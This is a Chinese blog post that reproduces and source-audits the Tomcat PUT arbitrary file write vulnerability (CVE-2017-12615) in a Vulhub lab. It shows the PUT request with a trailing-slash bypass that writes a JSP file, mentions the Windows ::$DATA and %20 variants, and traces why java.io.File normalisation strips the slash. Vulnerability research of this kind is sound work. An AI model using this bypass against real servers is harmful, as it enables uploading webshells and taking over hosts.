首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >审计Tomcat PUT方法任意文件写入(CVE-2017-12615)

审计Tomcat PUT方法任意文件写入(CVE-2017-12615)

原创
作者头像
Gh0st1nTheShel
修改2022-01-23 14:32:11
8880
修改2022-01-23 14:32:11
举报
文章被收录于专栏:网络空间安全网络空间安全

欢迎关注我的微信公众号《壳中之魂》,查看更多网安文章

漏洞复现

产生原因

漏洞产生原因为web.xml里将readonly设置为了false(默认为true),导致了可以通过PUT写入任意文件

利用条件

经过实际测试,Tomcat 7.x 版本内 web.xml 配置文件内默认配置无 readonly 参数,需要手工添加,默认配置条件下不受此漏洞影响

影响范围

  • Apache Tomcat 7.0.0 - 7.0.79

复现

搭建环境:Vulhub - Docker-Compose file for vulnerability environment

搭建好环境后打开页面localhost:8080,然后使用burpsuite抓包

通过修改为PUT方法,可以直接写入文件

传入的URI必须的是/x.jsp/的格式,而不能是/x.jsp的格式

传入/x.jsp的会报404状态码

同时文件是没有被写入的

通用的绕过方法是使用/结尾,无论是linux或者是windows都可以绕过,如果是windows下还可以以::$DATA、%20空格等结尾

使用/结尾,响应码为201,说明成功写入,响应码如果为204也表示成功写入,但是说明原来存在相同文件名的文件,覆盖写入

此时访问/test.jsp

代码审计

通过审计web.xml可以发现,Tomcat在处理请求时有两个默认的Servlet,一个是DefaultServelt,另一个是JspServlet。两个Servlet被配置在 Tomcat的web.xml中

DefaultServelt

<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param>
    <init-param>
        <param-name>listings</param-name>
        <param-value>false</param-value>
    </init-param>
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

JspServlet

<servlet>
    <servlet-name>jsp</servlet-name>
    <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
    <init-param>
        <param-name>fork</param-name>
        <param-value>false</param-value>
    </init-param>
    <init-param>
        <param-name>xpoweredBy</param-name>
        <param-value>false</param-value>
    </init-param>
    <load-on-startup>3</load-on-startup>
</servlet>

Mapping

<!-- The mapping for the default servlet -->
<servlet-mapping>
    <servlet-name>default</servlet-name>
    <url-pattern>/</url-pattern>
</servlet-mapping>

<!-- The mappings for the JSP servlet -->
<servlet-mapping>
    <servlet-name>jsp</servlet-name>
    <url-pattern>*.jsp</url-pattern>
    <url-pattern>*.jspx</url-pattern>
</servlet-mapping>

从中可以看出,除了.jsp和.jspx文件由JSPServlet处理,其他都由DefaultServelet处理(包括PUT和DELETE方法),根据刚才我们的漏洞复现发现,只有URI为/x.jsp/的格式才可以写入文件,如果为/x.jsp是不行的,这是因为为/x.jsp/时是由DefaultServelet处理,而传入/x.jsp是由JSPServlet处理,所以无法触发漏洞

可以发现,即使即使readonly设置为false,tomcat也是不允许直接通过PUT方法上传jsp和jspx文件的,这是由于jsp和jspx文件是由org.apache.jasper.servlet.JspServlet来处理,但是org.apache.jasper.servlet.JspServlet并不能处理PUT方法,所以要通过绕过来达到上传的目的

下面只对/绕过方法进行审计,针对%20、::$DATA绕过涉及到了windows的特性过于复杂,可以查看参考文章

每一个Servlet的实现都要继承一个HttpServlet,在HttpServlet中有一个doPut方法来处理PUT方法,DefaulatServlet重写了该方法

protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    if (this.readOnly) {
        resp.sendError(403);
    } else {
        String path = this.getRelativePath(req);
        WebResource resource = this.resources.getResource(path);
        DefaultServlet.Range range = this.parseContentRange(req, resp);
        Object resourceInputStream = null;

        try {
            if (range != null) {
                File contentFile = this.executePartialPut(req, range, path);
                resourceInputStream = new FileInputStream(contentFile);
            } else {
                resourceInputStream = req.getInputStream();
            }

            if (this.resources.write(path, (InputStream)resourceInputStream, true)) {
                if (resource.exists()) {
                    resp.setStatus(204);
                } else {
                    resp.setStatus(201);
                }
            } else {
                resp.sendError(409);
            }
        } finally {
            if (resourceInputStream != null) {
                try {
                    ((InputStream)resourceInputStream).close();
                } catch (IOException var13) {
                }
            }

        }

    }
}

使用idea进行远程调试,在这次配置远程调试的时候遇到了一些困难,感谢热心的群友和p牛

特别感谢Litch1大佬的1对1帮助

p牛的肯定

首先先修改docker-compose.yml中的端口,添加5005端口

version: '2'
services:
 tomcat:
   build: .
   ports:
    - "8080:8080"
    - "5005:5005"

然后开启环境,环境开启后进入修改tomcat/bin下的catalinna.sh文件,添加一句

JAVA_OPTS="$JAVA_OPTS -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005" 

5005为设置远程调试的端口

然后重启tomcat服务

然后配置idea,添加一个远程JVM调试环境,设置的端口为刚才5005端口

然后开始进行debug,如果出现

说明远程调试连接成功

通过上面的漏洞复现可以发现,成功写入任意文件的状态码为201和204,迅速定位到附近

if (this.resources.write(path, (InputStream)resourceInputStream, true)) {
    if (resource.exists()) {
        resp.setStatus(204);
    } else {
        resp.setStatus(201);
    }
} else {
resp.sendError(409);
}

观察第一个if判断,resources.write方法传入的path,联想到漏洞的/x.jsp状态码404和/x.jsp/状态码201或者204的区别,很有可能是此处的path出现了问题,通过调试查看传入的参数

PUT /test.jsp/ HTTP/1.1
Host: 192.168.3.35:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 32

<%out.println("Hello World!");%>

步入resources.write方法

public boolean write(String path, InputStream is, boolean overwrite) {
    path = this.validate(path);
    if (!overwrite && this.preResourceExists(path)) {
        return false;
    } else {
        boolean writeResult = this.main.write(path, is, overwrite);
        if (writeResult && this.isCachingAllowed()) {
            this.cache.removeCacheEntry(path);
        }
        return writeResult;
    }
}

继续步入main.write方法

完整代码:

public boolean write(String path, InputStream is, boolean overwrite) {
    this.checkPath(path);
    if (is == null) {
        throw new NullPointerException(sm.getString("dirResourceSet.writeNpe"));
    } else if (this.isReadOnly()) {
        return false;
    } else {
        File dest = null;
        String webAppMount = this.getWebAppMount();
        if (path.startsWith(webAppMount)) {
            dest = this.file(path.substring(webAppMount.length()), false);
            if (dest == null) {
                return false;
            } else if (dest.exists() && !overwrite) {
                return false;
            } else {
                try {
                    if (overwrite) {
                        Files.copy(is, dest.toPath(), new CopyOption[]{StandardCopyOption.REPLACE_EXISTING});
                    } else {
                        Files.copy(is, dest.toPath(), new CopyOption[0]);
                    }
                    return true;
                } catch (IOException var7) {
                    return false;
                }
            }
        } else {
            return false;
        }
    }
}

虽然我不能步入copy,但是通过传入的数据is可以发现里面包含了http头(转为字符串后),同时dest为传入的路径,猜测copy即为写入文件的方法,同时可以发现,路径传入的文件结尾的/已经被去除

审计file方法

完整代码

protected final File file(String name, boolean mustExist) {
    if (name.equals("/")) {
        name = "";
    }

    File file = new File(this.fileBase, name);
    if (mustExist && !file.canRead()) {
        return null;
    } else if (this.getRoot().getAllowLinking()) {
        return file;
    } else {
        String canPath = null;

        try {
            canPath = file.getCanonicalPath();
        } catch (IOException var7) {
        }

        if (canPath == null) {
            return null;
        } else if (!canPath.startsWith(this.canonicalBase)) {
            return null;
        } else {
            String fileAbsPath = file.getAbsolutePath();
            if (fileAbsPath.endsWith(".")) {
                fileAbsPath = fileAbsPath + '/';
            }

            String absPath = this.normalize(fileAbsPath);
            if (this.absoluteBase.length() < absPath.length() && this.canonicalBase.length() < canPath.length()) {
                absPath = absPath.substring(this.absoluteBase.length() + 1);
                if (absPath.equals("")) {
                    absPath = "/";
                }

                canPath = canPath.substring(this.canonicalBase.length() + 1);
                if (canPath.equals("")) {
                    canPath = "/";
                }

                if (!canPath.equals(absPath)) {
                    return null;
                }
            }

            return file;
        }
    }
}

重点代码

protected final File file(String name, boolean mustExist) {
    ...
    File file = new File(this.fileBase, name);
    ...
}

首先File file = new File(this.fileBase, name);实例化了一个file对象,其中name的值为/test.jsp/,fileBase的值为/usr/local/tomcat/webapps/ROOT,可以发现为Tomcat的绝对路径,最后得到的file值为/usr/local/tomcat/webapps/ROOT/test.jsp,由此可以发现,经过实例化后name结尾的/已经去除,由于无法直接步入IO库所以在jdk1.8文件下的src.zip找到IO库的源码,将其复制出来进行审计

根据传入的参数的类型(File, String)找到构造方法

完整代码

public File(File parent, String child) {
    if (child == null) {
        throw new NullPointerException();
    }
    if (parent != null) {
        if (parent.path.equals("")) {
            this.path = fs.resolve(fs.getDefaultParent(),
                                   fs.normalize(child));
        } else {
            this.path = fs.resolve(parent.path,
                                   fs.normalize(child));
        }
    } else {
        this.path = fs.normalize(child);
    }
    this.prefixLength = fs.prefixLength(this.path);
}

重点代码

public File(File parent, String child) {
    if (child == null) {
        ...
    }
    if (parent != null) {
        if (parent.path.equals("")) {
            this.path = fs.resolve(fs.getDefaultParent(),
                                   fs.normalize(child));
        } else {
            ...
        }
    } else {
        ...
    }
    ...
}

继续步入normalize方法

public String normalize(String path) {
    int n = path.length();
    char slash = this.slash;
    char altSlash = this.altSlash;
    char prev = 0;
    for (int i = 0; i < n; i++) {
        char c = path.charAt(i);
        if (c == altSlash)
            return normalize(path, n, (prev == slash) ? i - 1 : i);
        if ((c == slash) && (prev == slash) && (i > 1))
            return normalize(path, n, i - 1);
        if ((c == ':') && (i > 1))
            return normalize(path, n, 0);
        prev = c;
    }
    if (prev == slash) return normalize(path, n, n - 1);
    return path;
}

而在

if (c == altSlash)
    return normalize(path, n, (prev == slash) ? i - 1 : i); 

这句代码中会将结尾的/去掉,从而绕过过滤

参考文章:CVE-2017-12615/CVE-2017-12616:Tomcat信息泄漏和远程代码执行漏洞分析报告 (seebug.org)

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞复现
    • 产生原因
      • 利用条件
        • 影响范围
        • 代码审计
        相关产品与服务
        远程调试
        远程调试(Remote Debugging,RD)在云端为用户提供上千台真实手机/定制机/模拟器设备,快速实现随时随地测试。运用云测技术对测试方式、操作体验进行了优化,具备多样性的测试能力,包括随时截图和记录调试日志,稳定的支持自动化测试, 设备灵活调度,用例高效执行, 快速定位产品功能和兼容性问题。云手机帮助应用、移动游戏快速发现和解决问题,节省百万硬件费用,加速敏捷研发流程。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档